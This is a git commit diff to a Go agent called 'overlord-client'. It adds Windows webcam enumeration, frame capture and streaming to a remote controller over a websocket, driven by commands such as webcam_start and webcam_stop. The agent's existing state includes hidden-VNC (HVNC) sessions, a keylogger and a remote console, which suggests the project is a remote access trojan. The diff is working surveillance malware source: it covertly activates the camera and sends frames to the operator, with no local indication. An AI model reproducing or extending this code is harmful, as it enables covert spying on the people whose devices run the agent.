This commit is contained in:
KingKDot
2026-03-08 22:31:11 -05:00
parent 6c05960400
commit 78a79ea3e1
27 changed files with 1352 additions and 12 deletions
@@ -0,0 +1,23 @@
//go:build !windows
package capture
type WebcamDeviceInfo struct {
Index int
Name string
MaxFPS int
}
func ListWebcams() ([]WebcamDeviceInfo, error) {
return []WebcamDeviceInfo{}, nil
}
func ClampWebcamFPS(_ int, requestedFPS int, _ bool) (int, error) {
if requestedFPS < 1 {
requestedFPS = 30
}
if requestedFPS > 120 {
requestedFPS = 120
}
return requestedFPS, nil
}
@@ -0,0 +1,161 @@
//go:build windows
package capture
import (
"fmt"
"math"
cam "github.com/Kirizu-Official/windows-camera-go/camera/v1"
)
type WebcamDeviceInfo struct {
Index int
Name string
MaxFPS int
}
func ListWebcams() ([]WebcamDeviceInfo, error) {
webcamMu.Lock()
defer webcamMu.Unlock()
temporaryInit := false
if !webcamInitDone {
if err := cam.Init(); err != nil {
return nil, fmt.Errorf("webcam init failed: %w", err)
}
webcamInitDone = true
temporaryInit = true
}
devices, err := cam.EnumDevice()
if err != nil {
if temporaryInit && webcamActive == nil {
cam.Shutdown()
webcamInitDone = false
}
return nil, fmt.Errorf("webcam enumerate failed: %w", err)
}
out := make([]WebcamDeviceInfo, 0, len(devices))
for i, dev := range devices {
name := dev.Name
if name == "" {
name = fmt.Sprintf("Camera %d", i+1)
}
maxFPS := 30
if webcamActive != nil && webcamActive.deviceIndex == i && webcamActive.captureFPS > 0 {
maxFPS = int(math.Round(webcamActive.captureFPS))
} else if fps, fpsErr := webcamMaxSupportedFPSNoLock(dev.SymbolLink); fpsErr == nil && fps > 0 {
maxFPS = fps
}
out = append(out, WebcamDeviceInfo{Index: i, Name: name, MaxFPS: maxFPS})
}
if temporaryInit && webcamActive == nil {
cam.Shutdown()
webcamInitDone = false
}
return out, nil
}
func ClampWebcamFPS(deviceIndex int, requestedFPS int, useMax bool) (int, error) {
if requestedFPS < 1 {
requestedFPS = 30
}
if requestedFPS > 120 {
requestedFPS = 120
}
maxFPS, err := webcamMaxSupportedFPS(deviceIndex)
if err != nil {
return requestedFPS, err
}
if maxFPS <= 0 {
return requestedFPS, nil
}
if useMax || requestedFPS > maxFPS {
return maxFPS, nil
}
return requestedFPS, nil
}
func webcamMaxSupportedFPS(deviceIndex int) (int, error) {
webcamMu.Lock()
defer webcamMu.Unlock()
if webcamActive != nil && webcamActive.deviceIndex == deviceIndex && webcamActive.captureFPS > 0 {
return int(math.Round(webcamActive.captureFPS)), nil
}
temporaryInit := false
if !webcamInitDone {
if err := cam.Init(); err != nil {
return 0, fmt.Errorf("webcam init failed: %w", err)
}
webcamInitDone = true
temporaryInit = true
}
devices, err := cam.EnumDevice()
if err != nil {
if temporaryInit && webcamActive == nil {
cam.Shutdown()
webcamInitDone = false
}
return 0, fmt.Errorf("webcam enumerate failed: %w", err)
}
if len(devices) == 0 {
if temporaryInit && webcamActive == nil {
cam.Shutdown()
webcamInitDone = false
}
return 0, fmt.Errorf("no webcam devices detected")
}
if deviceIndex < 0 || deviceIndex >= len(devices) {
deviceIndex = 0
}
maxFPS, err := webcamMaxSupportedFPSNoLock(devices[deviceIndex].SymbolLink)
if err != nil {
if temporaryInit && webcamActive == nil {
cam.Shutdown()
webcamInitDone = false
}
return 0, err
}
if temporaryInit && webcamActive == nil {
cam.Shutdown()
webcamInitDone = false
}
return maxFPS, nil
}
func webcamMaxSupportedFPSNoLock(symbolLink string) (int, error) {
device, err := cam.OpenDevice(symbolLink)
if err != nil {
return 0, fmt.Errorf("open webcam failed: %w", err)
}
defer device.CloseDevice()
formats, err := device.EnumerateCaptureFormats()
if err != nil {
return 0, fmt.Errorf("enumerate webcam formats failed: %w", err)
}
maxFPS := 0
for _, format := range formats {
if !isJPEGSubtype(format) && !isH264Subtype(format) {
continue
}
fps := int(math.Round(format.Fps))
if fps > maxFPS {
maxFPS = fps
}
}
return maxFPS, nil
}
@@ -0,0 +1,17 @@
//go:build !windows
package capture
import (
"context"
"errors"
rt "overlord-client/cmd/agent/runtime"
)
func NowWebcam(_ context.Context, _ *rt.Env) error {
return errors.New("webcam capture is only supported on Windows")
}
func CleanupWebcam() {
}
@@ -0,0 +1,238 @@
//go:build windows
package capture
import (
"context"
"fmt"
"log"
"sync"
"time"
cam "github.com/Kirizu-Official/windows-camera-go/camera/v1"
"github.com/Kirizu-Official/windows-camera-go/windows/guid"
rt "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
type webcamState struct {
deviceIndex int
device *cam.Device
capture *cam.CaptureSync
format string
captureFPS float64
}
var (
webcamMu sync.Mutex
webcamInitDone bool
webcamActive *webcamState
)
func NowWebcam(ctx context.Context, env *rt.Env) error {
if ctx.Err() != nil {
return nil
}
capture, deviceIndex, format, err := ensureWebcamCapture(env.WebcamDeviceIndex)
if err != nil {
return err
}
sample, err := capture.GetFrame()
if err != nil {
resetWebcamState()
return err
}
if sample == nil || sample.PpSample == nil {
return nil
}
buffer, err := capture.Device.ParseSampleToBuffer(sample.PpSample)
if err != nil {
sample.Release()
return err
}
if buffer == nil {
sample.Release()
return nil
}
frameBytes := make([]byte, int(buffer.Length))
copy(frameBytes, buffer.Buffer[:buffer.Length])
buffer.Release()
sample.Release()
frame := wire.Frame{
Type: "frame",
Header: wire.FrameHeader{
Monitor: deviceIndex,
FPS: 0,
Format: format,
Webcam: true,
},
Data: frameBytes,
}
if ctx.Err() != nil {
return nil
}
// Do not use the stream-cancel context for socket writes; canceling an in-flight
// write during webcam_stop can tear down the whole websocket on some transports.
writeCtx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
return wire.WriteMsg(writeCtx, env.Conn, frame)
}
func CleanupWebcam() {
webcamMu.Lock()
closeWebcamLocked()
webcamMu.Unlock()
}
func ensureWebcamCapture(requestedIndex int) (*cam.CaptureSync, int, string, error) {
webcamMu.Lock()
defer webcamMu.Unlock()
if requestedIndex < 0 {
requestedIndex = 0
}
if webcamActive != nil && webcamActive.capture != nil && webcamActive.deviceIndex == requestedIndex {
return webcamActive.capture, webcamActive.deviceIndex, webcamActive.format, nil
}
closeWebcamLocked()
if !webcamInitDone {
if err := cam.Init(); err != nil {
return nil, 0, "", fmt.Errorf("webcam init failed: %w", err)
}
webcamInitDone = true
}
devices, err := cam.EnumDevice()
if err != nil {
return nil, 0, "", fmt.Errorf("webcam enumerate failed: %w", err)
}
if len(devices) == 0 {
return nil, 0, "", fmt.Errorf("no webcam devices detected")
}
if requestedIndex >= len(devices) {
requestedIndex = 0
}
deviceInfo := devices[requestedIndex]
device, err := cam.OpenDevice(deviceInfo.SymbolLink)
if err != nil {
return nil, 0, "", fmt.Errorf("open webcam failed: %w", err)
}
formats, err := device.EnumerateCaptureFormats()
if err != nil {
device.CloseDevice()
return nil, 0, "", fmt.Errorf("enumerate webcam formats failed: %w", err)
}
if len(formats) == 0 {
device.CloseDevice()
return nil, 0, "", fmt.Errorf("no webcam capture formats available")
}
selected, selectedFormat := selectWebcamFormat(formats)
if selected == nil {
device.CloseDevice()
return nil, 0, "", fmt.Errorf("no JPEG/H264 webcam format available")
}
capture, err := device.StartCapture(selected)
if err != nil {
device.CloseDevice()
return nil, 0, "", fmt.Errorf("start webcam capture failed: %w", err)
}
webcamActive = &webcamState{
deviceIndex: requestedIndex,
device: device,
capture: capture,
format: selectedFormat,
captureFPS: selected.Fps,
}
log.Printf("webcam: selected device=%q index=%d format=%s %dx%d@%.2ffps", deviceInfo.Name, requestedIndex, selectedFormat, selected.Width, selected.Height, selected.Fps)
return capture, requestedIndex, selectedFormat, nil
}
func selectWebcamFormat(formats []*cam.CaptureFormats) (*cam.CaptureFormats, string) {
var best *cam.CaptureFormats
bestScore := -1.0
bestFormat := ""
for _, format := range formats {
streamFormat := ""
if isJPEGSubtype(format) {
streamFormat = "jpeg"
} else if isH264Subtype(format) {
streamFormat = "h264"
}
if streamFormat == "" {
continue
}
score := formatScore(format)
if streamFormat == "jpeg" {
score += 100_000_000
}
if streamFormat == "h264" && !format.IsCompressedFormat {
// Prefer compressed H264 camera output where available.
score -= 10_000_000
}
if score > bestScore {
best = format
bestScore = score
bestFormat = streamFormat
}
}
return best, bestFormat
}
func isJPEGSubtype(format *cam.CaptureFormats) bool {
if format == nil || format.SubType == nil {
return false
}
return format.SubType.IsMatch(&guid.SubTypeMediaSubTypeMJPG) ||
format.SubType.IsMatch(&guid.SubTypeMediaSubTypeIJPG)
}
func isH264Subtype(format *cam.CaptureFormats) bool {
if format == nil || format.SubType == nil {
return false
}
return format.SubType.IsMatch(&guid.SubTypeMediaSubTypeH264)
}
func formatScore(format *cam.CaptureFormats) float64 {
if format == nil {
return -1
}
score := float64(format.Width*format.Height) + format.Fps*1000
if format.IsCompressedFormat {
score += 5_000_000
}
if isJPEGSubtype(format) {
score += 10_000_000
}
if format.MajorType != nil && (*format.MajorType).IsMatch(&guid.MajorTypeVideo) {
score += 1_000_000
}
return score
}
func resetWebcamState() {
webcamMu.Lock()
defer webcamMu.Unlock()
if webcamActive != nil {
webcamActive.device.CloseDevice()
webcamActive = nil
}
}
func closeWebcamLocked() {
if webcamActive != nil {
webcamActive.device.CloseDevice()
webcamActive = nil
}
}
@@ -82,6 +82,18 @@ func resetForReconnect(env *runtime.Env) {
env.HVNCSelectedDisplay = 0
env.HVNCMu.Unlock()
env.WebcamMu.Lock()
if env.WebcamCancel != nil {
env.WebcamCancel()
}
waitStreamStop(env.WebcamDone, "webcam")
env.WebcamCancel = nil
env.WebcamDone = nil
env.WebcamDeviceIndex = 0
env.WebcamFPS = 30
env.WebcamUseMaxFPS = false
env.WebcamMu.Unlock()
if env.Console != nil {
env.Console.StopAll()
}
@@ -1264,6 +1276,97 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "webcam_start":
env.WebcamMu.Lock()
if env.WebcamCancel != nil {
env.WebcamCancel()
waitStreamStop(env.WebcamDone, "webcam")
}
webcamCtx, cancel := context.WithCancel(ctx)
env.WebcamCancel = cancel
done := make(chan struct{})
env.WebcamDone = done
goSafe("webcam stream", env.Cancel, func() {
log.Printf("webcam: start requested")
_ = WebcamStart(webcamCtx, env)
close(done)
})
env.WebcamMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "webcam_list":
devices, err := capture.ListWebcams()
if err != nil {
sendCommandResultSafe(env, cmdID, false, err.Error())
return nil
}
out := make([]wire.WebcamDevice, 0, len(devices))
for _, dev := range devices {
out = append(out, wire.WebcamDevice{Index: dev.Index, Name: dev.Name, MaxFPS: dev.MaxFPS})
}
_ = wire.WriteMsg(ctx, env.Conn, wire.WebcamDevices{Type: "webcam_devices", Devices: out, Selected: env.WebcamDeviceIndex})
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "webcam_select":
payload, _ := envelope["payload"].(map[string]interface{})
index := 0
if payload != nil {
if n, ok := payloadInt(payload, "index"); ok {
index = n
}
}
env.WebcamDeviceIndex = index
capture.CleanupWebcam()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "webcam_set_fps":
payload, _ := envelope["payload"].(map[string]interface{})
env.WebcamMu.Lock()
isStreaming := env.WebcamCancel != nil
env.WebcamMu.Unlock()
if isStreaming {
sendCommandResultSafe(env, cmdID, false, "stop webcam before changing fps")
return nil
}
fps := env.WebcamFPS
useMax := env.WebcamUseMaxFPS
if payload != nil {
if n, ok := payloadInt(payload, "fps"); ok {
fps = n
}
if v, ok := payload["useMax"].(bool); ok {
useMax = v
}
}
if fps < 1 {
fps = 30
}
if fps > 120 {
fps = 120
}
clampedFPS, clampErr := capture.ClampWebcamFPS(env.WebcamDeviceIndex, fps, useMax)
if clampErr != nil {
log.Printf("webcam: fps clamp fallback requested=%d err=%v", fps, clampErr)
} else {
fps = clampedFPS
}
env.WebcamFPS = fps
env.WebcamUseMaxFPS = useMax
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "webcam_stop":
env.WebcamMu.Lock()
log.Printf("webcam: stop requested")
if env.WebcamCancel != nil {
env.WebcamCancel()
}
waitStreamStop(env.WebcamDone, "webcam")
env.WebcamCancel = nil
env.WebcamDone = nil
env.WebcamMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "console_start":
sessionID, _ := envelopePayloadString(envelope, "sessionId")
cols, rows := envelopePayloadInts(envelope)
@@ -0,0 +1,55 @@
package handlers
import (
"context"
"log"
"time"
"overlord-client/cmd/agent/capture"
rt "overlord-client/cmd/agent/runtime"
)
func WebcamStart(ctx context.Context, env *rt.Env) error {
fps := env.WebcamFPS
if fps <= 0 {
fps = 30
}
if env.WebcamUseMaxFPS {
fps = 60
}
if fps > 120 {
fps = 120
}
interval := time.Second / time.Duration(fps)
log.Printf("webcam: starting stream (max fps %d)", fps)
defer capture.CleanupWebcam()
ticker := time.NewTicker(interval)
defer ticker.Stop()
lastErrText := ""
lastErrLogAt := time.Time{}
for {
select {
case <-ctx.Done():
log.Printf("webcam: stopping stream")
return nil
case <-ticker.C:
if err := capture.NowWebcam(ctx, env); err != nil {
if ctx.Err() != nil {
log.Printf("webcam: stopping stream")
return nil
}
errText := err.Error()
now := time.Now()
if errText != lastErrText || now.Sub(lastErrLogAt) >= 2*time.Second {
log.Printf("webcam: capture error: %v", err)
lastErrText = errText
lastErrLogAt = now
}
} else {
lastErrText = ""
lastErrLogAt = time.Time{}
}
}
}
}
+6
View File
@@ -34,6 +34,12 @@ type Env struct {
HVNCCancel context.CancelFunc
HVNCDone chan struct{}
HVNCMu sync.Mutex
WebcamDeviceIndex int
WebcamFPS int
WebcamUseMaxFPS bool
WebcamCancel context.CancelFunc
WebcamDone chan struct{}
WebcamMu sync.Mutex
// Other fields
Plugins *plugins.Manager
Keylogger *keylogger.Keylogger
+7
View File
@@ -315,6 +315,9 @@ func shouldRetryImmediately(err error) bool {
if strings.Contains(msg, "timed out from inactivity") {
return true
}
if strings.Contains(msg, "use of closed network connection") || strings.Contains(msg, "failed to get reader") {
return true
}
return false
}
@@ -499,6 +502,10 @@ func readLoop(ctx context.Context, conn *websocket.Conn, env *rt.Env, dispatcher
if ctx.Err() != nil {
return err
}
var closeErr *websocket.CloseError
if errors.As(err, &closeErr) {
log.Printf("readLoop: websocket close code=%d reason=%q", closeErr.Code, closeErr.Reason)
}
log.Printf("readLoop: read error: %v", err)
return err
}
@@ -48,6 +48,7 @@ type FrameHeader struct {
FPS int `msgpack:"fps"`
Format string `msgpack:"format"`
HVNC bool `msgpack:"hvnc,omitempty"`
Webcam bool `msgpack:"webcam,omitempty"`
}
type Frame struct {
@@ -185,3 +186,15 @@ type Notification struct {
Keyword string `msgpack:"keyword,omitempty"`
TS int64 `msgpack:"ts,omitempty"`
}
type WebcamDevice struct {
Index int `msgpack:"index"`
Name string `msgpack:"name"`
MaxFPS int `msgpack:"maxFps,omitempty"`
}
type WebcamDevices struct {
Type string `msgpack:"type"`
Devices []WebcamDevice `msgpack:"devices"`
Selected int `msgpack:"selected"`
}
+3 -1
View File
@@ -1,6 +1,6 @@
module overlord-client
go 1.23
go 1.24
require (
github.com/creack/pty v1.1.21
@@ -13,6 +13,7 @@ require (
)
require (
github.com/Kirizu-Official/windows-camera-go v0.2.0
github.com/gen2brain/malgo v0.11.24
golang.org/x/sys v0.24.0
)
@@ -25,4 +26,5 @@ require (
github.com/jezek/xgb v1.1.1 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
)
+6 -2
View File
@@ -1,3 +1,5 @@
github.com/Kirizu-Official/windows-camera-go v0.2.0 h1:wF8s6US/me/d5WaBeoHGVKE8mBOl83kKTfMV38YYQ3g=
github.com/Kirizu-Official/windows-camera-go v0.2.0/go.mod h1:zMP4SmblRxD6zQHe4X07CHO4lnNcWo6zeZhQavO2aLQ=
github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0=
github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
@@ -35,7 +37,9 @@ github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.24.0 h1:Twjiwq9dn6R1fQcyiK+wQyHWfaz/BJB+YIpzU/Cv3Xg=
golang.org/x/sys v0.24.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
nhooyr.io/websocket v1.8.10 h1:mv4p+MnGrLDcPlBoWsvPP7XCzTYMXP9F9eIGoKbgx7Q=
nhooyr.io/websocket v1.8.10/go.mod h1:rN9OFWIUwuxg4fR5tELlYC04bXYowCP9GX47ivo2l+c=